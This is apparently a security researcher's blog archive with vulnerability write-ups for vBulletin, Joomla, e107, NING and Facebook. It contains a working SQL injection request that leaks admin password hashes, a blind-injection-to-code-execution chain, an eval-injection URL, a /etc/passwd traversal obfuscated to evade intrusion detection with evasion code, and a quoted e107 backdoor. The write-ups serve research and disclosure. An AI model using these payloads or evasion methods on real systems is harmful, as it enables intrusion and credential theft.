0x6a616d6573

vBulletin "Search UI" SQL Injection: Take Two

2011-07-20T13:31:00.000-07:00

It looks like someone has found another SQL Injection bug in the vBulletin "Search UI". After taking a quick look @ the bug, I have determined it to be exploitable, pre auth.

The actual SQL Injection lies within the add_advanced_search_filters() function. This is due to vBulletin not sanitizing the "messagegroupid" and "categoryid" arrays before implode()'ing them directly into a SQL query.

Exploiting this issue is fairly straight forward, but is pretty much a blind SQL Injection as far as I can tell in the small amount of time I have looked at it. However, using the methods outlined here, one can easily extract data at the expense of possibly tipping off the database admin. This is because vBulletin displays the verbose SQL query within HTML comments whenever displaying an SQL error screen. (Even for non authenticated users)

1:  POST /search.php?do=process HTTP/1.1  
2:  Host: 127.0.0.1  
3:  Content-Type: application/x-www-form-urlencoded  
4:  humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*

The above post query will successfully display the passsword hash for the userid=1 within the comments of the SQL error page used by vBulletin, as seen in the example below.

1:  <!--  
2:  Database error in vBulletin 4.1.4:  
3:  Invalid SQL:  
4:                           SELECT socialgroupcategory.title  
5:                           FROM socialgroupcategory AS socialgroupcategory  
6:                           WHERE socialgroupcategory.socialgroupcategoryid IN (-99) union select password from user where userid=1 and row(1,1)&gt;(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*);  
7:  MySQL Error  : Duplicate entry '4c62730e24e31ab9a0b8229a7ff72836:1' for key 'group_key'  
8:  Error Number : 1062  
9:  Request Date : Wednesday, July 20th 2011 @ 10:24:59 PM  
10:  Error Date  : Wednesday, July 20th 2011 @ 10:24:59 PM  
11:  Script    : http://127.0.0.1/search.php?do=process  
12:  Referrer   :   
13:  IP Address  : 127.0.0.1  
14:  Username   : Unregistered  
15:  Classname   : vB_Database  
16:  MySQL Version :   
17:  -->

And of course if you prefer to exploit this in a more stealthy manner, there is always a blind SQL Injection approach using timed BENCHMARK() queries, etc. that will likely work for you.

Fear the typo!

2011-06-17T15:49:00.000-07:00

Being a huge music fan, as well as a big fan of the Bonaroo music festival, I really enjoyed all of the updates posted to the official Bonaroo Facebook page during the festival. Surprisingly enough, accidentally "fat fingering" a single quote whenever attempting to copy and paste a link to one of their recent blog posting presented me with the following error.

As you can see in the above image, I attempted to contact the bonaroo.com webmaster about this obviously exploitable SQL Injection bug, but to no avail. I guess the lesson here is that if you are going to write insecure code, at least remember to turn off detailed error reporting in a production environment. D'oh!

Reliably exploiting vBulletin 4

2011-05-29T09:42:00.000-07:00

Last month an SQL Injection vulnerability in the vBulletin search feature was patched. The issue was researched fairly well by j0hnx3r, and his research was made public here.

After reading about this issue, I set out to write a Metasploit module for it, and soon realized that the way of exploiting the issue outlined in j0hnx3r's research could be unreliable under certain circumstances such as:

No groups exist, and the attacker can not access user groups
The attacker is unable to get a valid forum account

There are probably other scenarios that make exploiting this in a straight forward manner a bit unreliable, but I decided to focus my attention on creating something more reliable, versus exploring the limitations of a more straight forward approach.

During my research in to this issue, I found a couple of interesting things to help aid an attacker in mounting a successful SQL Injection attack against a vulnerable vBulletin installation.

This issue can be exploited pre auth
The SQL Injection takes place before the CAPTCHA is handled
The SQL Injection takes place before flood controls

As a result this issue can be exploited pre auth by an anonymous user regardless of CAPCTHA or flood settings, making it a pretty darn scary bug if you ask me. In order to exploit this issue I ended up using a blind BENCHMARK() enumeration approach since there are a myriad of issues relating to outputting retrieved data that I did my best to avoid altogether.

vBulletin 4 <= 4.1.2 SQL Injection Exploit (Metasploit)

Joomla 1.6.0 Analysis and Exploitation

2011-04-28T11:02:00.000-07:00

Last month, a critical SQL Injection vulnerability was discovered in Joomla 1.6.0. , and this past weekend I finally got around to taking a closer look at this issue, and working on an exploit. Originally I was going to write an exploit for both the 1.6.0 issue, as well as the 1.5.21 issue, and have the exploit select a target based on the version detected, but the original advisory was erroneous. It seems that the author of the original advisory used burp suite to discover the bug, and did not actually understand what was really happening at all, under the hood.

In the above image, we see two PoC examples given. They DO both trigger an SQL error, but this is simply due to the field(s) being null as the ordering paramaters pass through the Joomla "word" and "cmd" filter types, and are stripped of almost all special characters. (As seen in the example below)

Joomla <= 1.5.21 Vulnerable function
/components/com_weblinks/models/category.php

1:  function _buildQuery()  
2:  {  
3:       $filter_order          = $this->getState('filter_order');  
4:       $filter_order_dir      = $this->getState('filter_order_dir');  
5:       $filter_order          = JFilterInput::clean($filter_order, 'cmd');  
6:       $filter_order_dir      = JFilterInput::clean($filter_order_dir, 'word');  
7:       // We need to get a list of all weblinks in the given category  
8:       $query = 'SELECT *' .  
9:            ' FROM #__weblinks' .  
10:            ' WHERE catid = '. (int) $this->_id.  
11:            ' AND published = 1' .  
12:            ' AND archived = 0'.  
13:            ' ORDER BY '. $filter_order .' '. $filter_order_dir .', ordering';  
14:       return $query;  
15:  }

As a result this issue is simply not exploitable, so I was only able to create a working exploit for 1.6.0. The reason 1.6.0 is actually exploitable is due to the "string" filter being used in the example code below, which allows us to use certain characters necessary for exploitable SQL Injection.

Joomla 1.6.0 Vulnerable function
/components/com_content/models/category.php

1:  /**  
2:   * Build the orderby for the query  
3:   *  
4:   * @return     string     $orderby portion of query  
5:   * @since     1.5  
6:   */  
7:  protected function _buildContentOrderBy()  
8:  {  
9:        $app              = JFactory::getApplication('site');  
10:       $params           = $this->state->params;  
11:       $itemid           = JRequest::getInt('id', 0) . ':' . JRequest::getInt('Itemid', 0);  
12:       $filter_order     = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');  
13:       $filter_order_Dir = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd');  
14:       $orderby = ' ';  
15:       if ($filter_order && $filter_order_Dir) {  
16:            $orderby .= $filter_order . ' ' . $filter_order_Dir . ', ';  
17:       }  
18:       $articleOrderby   = $params->get('orderby_sec', 'rdate');  
19:       $articleOrderDate = $params->get('order_date');  
20:       $categoryOrderby  = $params->;def('orderby_pri', '');  
21:       $secondary        = ContentHelperQuery::orderbySecondary($articleOrderby, $articleOrderDate) . ', ';  
22:       $primary          = ContentHelperQuery::orderbyPrimary($categoryOrderby);  
23:       $orderby .= $primary . ' ' . $secondary . ' a.created ';  
24:       return $orderby;  
25:  }

In order to exploit this issue I use a sub query to ask boolean style questions. If the answer is true I execute BENCHMARK() and look for a delay, thus confirming the answer to our question. It should be noted that another useful exploitation approach (that is not as reliable in this situation, thus the reason i am using a sub query) when dealing with "ORDER BY" injections, is to use the sort order to determine the answer to your questions.

STEP 01:
Determine if the host is vulnerable by extracting the version, and performing a simple compare. This step can be skipped if needed, as all the benchmark tests will fail if the host is not vuln.

STEP 02:
Trigger an SQL error in order to confirm that the host is vulnerable, and also extract the database table prefix for reliability purposes. SQL Errors are by default shown to unauthenticated users it seems, which helps make exploitation much more reliable.

STEP 03:
Prepare for BENCHMARK() enumeration by establishing both normal, and delayed request medians.

STEP 04:
Find a valid admin id in the "user_usergroup_map" table, which maps admin users to the group_id 8. Since this SQL Injection is completely blind we need to ask "boolean" questions. As a result we start at 42 (which is hard coded within Joomla as the base uid), and step through 10 at a time until we basically "pass up" a valid id. After the id has been passed, we step back 10 and start incrementing by one until we find the uid. This process repeats with the second record in the table if admin access is unable to be gained with the first uid that is enumerated.

STEP 05:
Extract the admin password hash via single character enumeration.

STEP 06:
Extract the admin password salt via single character enumeration. We use "SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})" here vs "SUBSTRING = FOO" so that we can distinguish between case sensitive characters reliably.

STEP 07:
Cookie based authentication, and password reset functionality seem to be limited to standard, non admin, users. So we attempt to crack the password hash using a wordlist since it seems we can not use the SQL Injection to further escalate privileges, unless the mysql user has file access. (INTO OUTFILE) The encryption format used by Joomla can be represented in the following pseudo code:

md5(PASS + SALT)

STEP 08:
Extract the administrator username via single character enumeration after determining the length of the username.

STEP 09:
Authenticate as an administrator.

STEP 10:
Upload wrapper and execute the payload.

The above list is rather brief, but you can view the exploit source code for further comments, and insight in to exploiting this bug. The following exploit is in ruby, written for the Metasploit Framework.

Joomla 1.6.0 SQL Injection -> PHP Code Execution (Metasploit)

FaceBook Research?

2010-09-07T18:13:00.000-07:00

Was just poking around some FaceBook DNS stuff and noticed that http://research.facebook.com/ redirects to the decipherinc.com homepage, which is a data collection and market research firm. Creepy!

MOAUB #4 SyndeoCMS Errors

2010-09-04T07:42:00.000-07:00

For the last couple of days a group named Abysssec has been releasing a number of "0days" for their month of unpatched bugs event. Personally, I am not a fan of these types of events, and tend to lean more toward the "No more free bugs", but everyone has an opinion ...

Anyway, I finally got to sit down this morning and check out some of these issues out, and wanted to take a minute to make a correction to their research located @ http://www.exploit-db.com/exploits/14887/ which erroneously labels a fread issue as a file inclusion issue. Below is a small snippet from the previously mentioned advisory.

This may confuse some people because the example given shows a url executing the "edit_css" branch while the "save_css" part is what is actually shown in their advisory. In addition to that minor discrepancy are a few more issues worth pointing out.

1] There are no checks for traversal sequences within "edit_css" at all, and that is why "..%2F" works to disclose file contents. A urlencoded character such as "%2F" is already translated into "/" by the time it reaches the affected code, and since a literal "%2F" is not translated during the fopen call you simply cannot bypass this with URI encoding.

2] This issue is NOT a file inclusion issue at all, and instead is a fopen/fread issue that allows an attacker to disclose file contents, and not actually "include" code that could be executed by the PHP interpreter.

3] The "save_css" bit is vulnerable to php code execution, which does not require any sort of directory traversal, due to a careless fopen/fwrite usage @ lines 73-75 of con_configuration.inc.php

I am not quite sure how this code execution bug got missed considering part of the actual vulnerable source was included in the original advisory.

4] To even reach the configuration functionality you must be authorized. However, using the Abysssec "add admin" CSRF bug this point becomes less of an obstacle for an attacker.

Also, thanks Abyssec, for using several code examples from my research without crediting me. I am glad that I could help ...

NINGA, please!

2010-08-29T10:03:00.000-07:00

NING is a popular social network community created by internet pioneer, and Netscape founder Marc Andreessen that allows users to create custom social networks similar to Facebook. NING currently host hundreds of thousands of social networks which includes (but is not limited to) websites belonging to the likes of Tyra Banks, Ellen Degeneres, 50 Cent, Meg Whitman, Enrique Iglesias, Kid Rock, Linkin Park, Jay-Z, and many many more.

Recently, after joining a NING powered community I noticed that the functionality of the NING framework seemed to be a bit buggy. I first became aware of this after accidentally typing a set of double quotes into the member search, and realizing by the broken HTML, that a core component of NING seemed to be vulnerable to a simple Cross Site Scripting issue. Unfortunately, XSS bugs are fairly common, but can be especially problematic on community driven websites that rely on cookie based authentication, or have no CSRF protection.

After realizing there were some substantial problems I started to look around the site a bit more, and noticed that NING has user application functionality similar to most social networking websites. Also, NING allows the loading of unrecognized apps via a XML file located via a remote URL. NING apps are basically a combination of HTML, and JavaScript wrapped up within an XML file, so JavaScript execution within the context of a victim's browser is trivial.

This seems to be fairly unsafe at first glance, but applications are hosted on a completely different domain as a means to prevent cross domain based scripting attacks. However, if an attacker has an XSS bug available to them, cross domain policy usually becomes trivial to bypass, as seen in the images below.

Since a users apps are displayed within a page accessed via their public profile writing a NING social network based malware seems trivial at this point, and to make matters even worse the CSRF protection token "xg_token" simply does not work. (This point would be moot anyway due to the XSS bugs) It is also worth mentioning that if an attacker wanted to write a really nasty piece of malware that would take over accounts, it would be fairly easy due to a flaw in NING that allows for a password to be updated without knowing the original, as seen below; and once an attacker knows the password updating the core account settings becomes possible too.

The end result of my research is a simple NING application based, self replicating malware named NINGA. This application is simply a proof of concept, and only seeks to spread itself. However, just about any action you can imagine would be possible such as mass messaging, data harvesting, account hijacking, and much more.

Unfortunately, there is no public bug reporting interface that I am aware of, and NING also seems to not have a security contact, (though, attempts were made to email security@ning.com) so these issues are still present. Hopefully, someone from the NING development team will see this and work on resolving the multiple security issues affecting NING networks, before someone takes the time to write a more complex piece of malware that is created for nefarious purposes.

Download NINGA source
https://docs.google.com/leaf?id=0B5oxcQ53hliTZmEyYjg5NjEtMDRiOS00MTg1LWE0NjEtOGViOGZhMTYyMGZi&hl=en

DISCLAIMER: All research was conducted using two test accounts that I created, and any malware created was protected by an ACL to prevent anyone except myself from being able to load the malicious application. This research was conducted for academic purposes only!

Facebook Information Leakage ... Again

2010-08-24T10:33:00.000-07:00

Recently there was an issue with the way Facebook handles the privacy of basic user information. The problem was, that if an individual logged in with the correct email, but incorrect password, a page would be displayed that contained the name, and image of the profile corresponding to the submitted email address. This of course is a bad thing, especially for people who have really locked their Facebook profiles down, and expect the previously mentioned information to remain private.

Unfortunately, after a few minutes of poking around to see if the issue was properly resolved I was able to find an almost identical issue within the core of the Facebook "Friend Finder" feature that allows an attacker to correlate not only email addresses to private profiles, but IM Handles as well. In order to take advantage of this information leak, all an attacker needs to do is follow these simple steps.

1. Navigate to the Facebook "Friend Finder" feature.

2. Click the "Upload Contact File" option in order to access the file upload prompt (Other contact import features work as well. i.e. Import from webmail contacts, and even import IM Contacts).

3. Upload a contact file of ANY of the accepted formats that contains a list of email addresses that you would like to enumerate.

4. If the account is not viewable due to privacy settings then you will be presented with a page like the one shown in the following image. Select the target email(s), and click "Invite to Join.

5. If the email you are targeting DOES have a restricted Facebook profile then an email invite will not be sent, and a page like the following will be visible, which contains a link to the Facebook profile associated with the target email address to be enumerated.

As previously mentioned, the "Friend Finder" feature can also be abused via other vectors as well, to leak user information such as IM Handles (AIM, MSN, ICQ, etc.) as seen in the image below.

Even though these issues that I point out here are new, privacy leaks are nothing new at all to Facebook, and will likely be an issue for the foreseeable future.

UPDATE: Facebook has since corrected these issues. Also, thanks to Blogger for an epic fail, and locking my blog for no reason the day I created this article. I truly appreciate that guys; and it only took you two days to realize you noobed it up, I'm impressed.

Brief analysis of the e107 fiasco

2010-01-28T04:33:00.000-08:00

Earlier this week Bogdan Calin posted to the Full-Disclosure mailing list a mesage stating that the popular e107 web application apparently had been modified recently to contain the following malicious code.

1:  if(md5($_COOKIE['access-admin']) == "cf1afec15669cb96f09befb7d70f8bcb") {  
2:  ...  
3:  if(!empty($_POST['cmd'])){  
4:       $out = execute($_POST['cmd']);  
5:  }  
6:  elseif(!empty($_POST['php'])){  
7:       ob_start();  
8:       eval($_POST['php']);  
9:       $out = ob_get_contents();  
10:       ob_end_clean();  
11:  }

As we can see from the above code, this is most definitely not a bug in the software, and indeed a maliciously placed backdoor like Bogdan had initially suggested. The practice of placing malicious code within popular web applications is nothing new, and some may even say that this incident is similar to the Wordpress incident of 2007, where an attacker had successfully managed to taint some Wordpress distributions with malicious code.

One of the interesting things about this case though, versus the Wordpress incident is the fact that this breach seems to have literally happened within a day of e107 patching a serious undisclosed security issue. This leads me to wonder, did the e107 developers attempt to correct errors in thier distribution code before securing thier own servers? The timing of the incident definitely does seem to suggest that is the case, unfortunately.

In regards to the bug itself that allowed for all of the e107 issues, little is known about the technical details of the vulnerability. However, a quick glance at the e107 CVS repository and we can see a few interesting entries.

 class2.php         1.390      5 days       mcfly_e107       Another small fix - just in case  
 login.php          1.16       7 days       mcfly_e107       Beginning removal of the use of /e with preg_replace  
 userposts.php      1.32       7 days       mcfly_e107       Beginning removal of the use of /e with preg_replace

It seems that this week several files were modified, some of which make mention of "Beginning removal of the use of /e with preg_replace" within thier commit notes, which might lead one to believe that the undisclosed vulnerabilities were due to careless use of eval with preg_replace. After having a look at the changes made within class2.php our suspicions are confirmed.

   
 revision 1.388, Sat Jan 9 20:32:21 2010 UTC   
 define("e_QUERY", $e_QUERY);  
   
 revision 1.390, Fri Jan 22 15:00:22 2010 UTC   
 define("e_QUERY", str_replace(array('{', '}', '%7B', '%7b', '%7D', '%7d'), '', $e_QUERY));

As we can see from the above code, the changes in class2.php seem to be an application wide attempt to remove the characters { and } from the e_QUERY constant, which are indeed very convienant to use within preg_replace, and eval injection attacks, as they allow code to be parsed dynamically within strings.

Now that we seem to have the cause of the vulnerability figured out, we can now focus on finding an exploitable attack vector, which in this case will be login.php. I chose to use login.php because exploitation is a bit different, and can only be used reliably against servers that do not consider case sensitivity. This was done intentionally since there are still very many vulnerable hosts in the wild at the moment.

1:  $text = preg_replace("/\{(.*?)\}/e", 'varset($\1,"\1")', $LOGIN_TABLE);

The above code is part of the code removed from login.php that basically attempts to make use of the $LOGIN_TABLE variable inside of a preg_replace eval call. The $LOGIN_TABLE variable contains a value from the login template used to render the login form etc. to an unauthenticated user. The problem here is that the language files are included from a file, and thus executed as soon as they are included, which parses variables and constants within the file at runtime. So, whenever we see preg_replace with an eval switch used within e107 to parse template values, it is safe to assume that all variables within the template data such as e_SELF and e_QUERY, now hold the contents of the variable itself which makes remote PHP code execution trivial.

1:  http://www.example.com/e107/login.pHp/{x,phpinfo()}

Since login.php parsed the contents of $LOGIN_TABLE with the eval switch, and the included template value containted the e_SELF constant, the above request to a vulnerable e107 install would successfully execute the phpinfo function. A couple of things worth mentioning.

[1] My above example will only work on servers that do not consider case sensitivity as e107 partially filters the PHP_SELF variable before placing it into the e_SELF constant.

[2] Complex curly syntax is not used here. The { and } characters are actually just markers in this case used internally by e107, and that is why we append our function to be executed to a string/variable value.

[3] Exploitation is probably not limited to just e_SELF and e_QUERY, as all user controlled variables within template data parsed in the previously mentioned manner are succeptible to attack.

[4] The fix within class2.php works in most cases, but is most definately flawed as we can bypass the filter to send urlencoded curly braces, as str_replace works sequentially with arrays. For example %7%7bB becomes { and %7%7dD becomes } after the filter is applied to the e_QUERY data.

Metasploit phpinfo parser

2009-10-15T12:25:00.000-07:00

In regards to stealth, executing the phpinfo() function is usually not the best idea when dealing with target exploitation. The reason for this is that the phpinfo() function is a very easy, and reliable way to test for PHP code execution; but due to it's popularity with various public exploits, has become a target for defensive filtering mechanisms. A real world example of this kind of behavior in action can be found with the popular web hosting company, Hostgator, who happen to host my old gulftech.org website. However, more and more hosts seem to be adapting a similar approach.

james@phoenix:~$ telnet www.gulftech.org 80
Trying 74.54.188.50...
Connected to gulftech.org.
Escape character is '^]'.
GET /index.php?x=phpinfo(); HTTP/1.0

HTTP/1.1 403 Forbidden
Date: Thu, 15 Oct 2009 19:39:10 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Accept-Ranges: bytes
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug

As we can see from the above example, the phpinfo(); string is detected within the query string, and access is automatically forbidden by the server. Regardless, there are still times when an exploit may need to access the phpinfo() function to gather environmental information, and can do so safely. Below is a small function written in Ruby that I use to parse the phpinfo() output within Metasploit that may save someone some time. Simply send the phpinfo() output to the function and an array will be returned that contains values for each corresponding option, which can then be retrieved by simply referencing the desired array key which is identical to the particular option's name.

1:  def get_phpinfo(data)  
2:    
3:    # Init  
4:    phpi = {}  
5:    
6:    # Look for signs of an unmodified phpinfo()  
7:    if ( data =~ /<h1 class="p">PHP Version (.*?)<\/h1>/ )  
8:        
9:      # PHP Version  
10:      phpi['version'] = $1  
11:      # ---------------------------------------  
12:        
13:      # Match array  
14:      temp = data.scan(/<td class="e">(.*?)<\/td><td class="v">(.*?)<\/td>/)  
15:        
16:      # Everything else  
17:      temp.each do |x,y|  
18:        phpi[x] = y.gsub(/(<\/*[a-zA-Z0-9]>)/, '')  
19:      end  
20:      # ---------------------------------------  
21:      return phpi  
22:    else  
23:      # Error  
24:      return false  
25:    end  
26:  end

Application specific IDS evasion

2009-10-15T09:39:00.000-07:00

One of the most overlooked means of obfuscating malicious requests when attempting to exploit a target is application, and interpreter specific evasion techniques. These techniques can apply to any number of web based technologies, but for the sake of brevity I am going to be using PHP as my primary example(s).

The root of this issue really lies within the ability to manipulate data that the Intrusion Detection System is not necessarily expecting. This should be fairly obvious as this is always the name of the game with IDS. However, by using application, or even interpreter specific modifications to further obfuscate data we can really make our efforts much more effective.

# Load specified custom user template
$user = stripslashes(strip_tags($_GET['user']));
@include_once("data/users/$user.tpl");

As we can see from the above insecure code, it is trivial to modify the "user" parameter to include (and possibly execute) any file resource that the httpd process has access to. Unfortunately, directory traversal sequences are a red flag to just about every IDS out there, so we can not just send a traditional "dot dot slash" sequence without causing alarm. Fortunately though for an attacker, IDS usually does not anticipate the way that an application may or may not use the functions that is has access to, thus allowing for a much greater degree of obfuscation.


index.php?user=\.<1>\.<2>\/\.<1>\.<2>\/\.<1>\.<2>\/etc/passwd\\0

Since the vulnerable code in question uses the strip_tags() and stripslashes() PHP functions it is safe for an attacker to include garbage data that will be filtered by these functions, in addition to more traditional obfuscation techniques. Once the "user" parameter is parsed by the previously mentioned PHP functions the user parameter shown above will end up looking like this.

index.php?user=../../../etc/passwd\0

One thing to keep in mind though when using this approach is request size. The requests can be obfuscated heavily, but the more obfuscation that is added makes for a substantially larger request which may inadvertently trigger the very IDS that is meant to be avoided. Below is a function that I wrote in Ruby, and is meant to be used as a means to add this application specific obfuscation to your Metasploit Framework projects. If you have any suggestions feel free to leave a comment.

1:  def init_evasion(data, func, opts = {})  
2:    
3:    case func  
4:      when 'stripslashes'  
5:        if ( !opts['qgpc'] )  
6:          data = data.gsub(/(.)/,'\\\\\1')  
7:        end  
8:        return data  
9:      when 'strip_tags'  
10:        return data.gsub(/([\.\/])/, '<0>\\1')  
11:      when 'urldecode'  
12:        data = Rex::Text.uri_decode(data)  
13:        data = data.unpack('C*').collect{|x| '%25' + sprintf('%.2x', x) }  
14:        return data  
15:      else  
16:        return false  
17:    end  
18:  end